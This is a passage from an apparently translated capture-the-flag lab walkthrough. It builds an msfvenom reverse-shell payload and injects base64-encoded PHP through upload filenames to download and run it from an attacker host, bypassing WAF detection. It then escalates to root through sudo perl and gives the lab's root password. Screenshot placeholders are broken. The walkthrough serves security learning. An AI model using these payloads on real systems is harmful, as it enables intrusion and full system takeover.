[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-ZLYecL6F-1671609096155)(media/7f76fddeddff5cfa235f728bcfa1ebb8.png)]

Use the set command to set configuration information

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-BXOah2mI-1671609096155)(media/2dfc9e5f6d88b4eb711fdef0d4c7fc16.png)]

Finally run run to get meterpreter

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-eQNXKVR9-1671609096156)(media/94208ea2d67bfc4d7d12e220e7075d4a.png)]

Exploit 2: Command execution vulnerability (using remote download webshell)

  1. generate shell

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.31.15 lport=4444 -f elf > /var/www/html/webshell

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-3FB2FQND-1671609096162) (media/af93bef39b6bb3b6fc408eac3147ec1b.png)]

2. Start monitoring (must run first)

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-31PEFo6x-1671609096164) (media/de88a94bb79d98d53ea14deb81276f9b.png)]

Create three new files on the Kali desktop.

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-CfiueEc9-1671609096165)(media/616711ebcd9e93d39835280c33ca044d.png)]

Enter the following three commands in sequence and perform base64 encoding (in order to bypass WAF and firewall detection)

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-FNsc6ZrK-1671609096165)(media/78cb2473384180a6beceb0926958435b.png)]

1. Start capturing packets of the first file and modify the filename to the following content:

<?php system(base64_decode(‘d2dldCBodHRwOi8vMTkyLjE2OC4zMS4xNS93ZWJzaGVsbCAtTyAvdG1wL3dlYnNoZWxsCg==’));die();?>.php

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-NDTtbely-1671609096166)(media/9c0e50ccabdeb5f069c2397d4a3c0899.png)]

2. The second file captures the packet

<?php system(base64_decode('Y2htb2QgNzc3IC90bXAvd2Vic2hlbGwK’));die();?>.php

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-GP9ECzUs-1671609096167) (media/4480f878bc10baddd4afec31d3d79809.png)]

3. The third file capture packet

<?php system(base64_decode(‘L3RtcC93ZWJzaGVsbAo=’));die();?>.php

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-iUa2HEXS-1671609096167) (media/f74f4c0a9bb0664432857f0e91aed02d.png)]

Found that perl does not require sudo verification, use the command

sudo perl -e "exec ‘/bin/sh’ "

bash -i

Obtain root permissions:

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-i2C0V09h-1671609096168) (media/20ac4484d31846018917f7f4080b4445.png)]

Finally, the flag.txt file was found in the /root root directory, and the experiment ended (root password: hello@3210)

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-Q5Q8PCpk-1671609096170)(media/19f3812e318f604fdca87ae4e4e3cccb.png)]

Guess you like

Origin blog.csdn.net/renxq097/article/details/128398296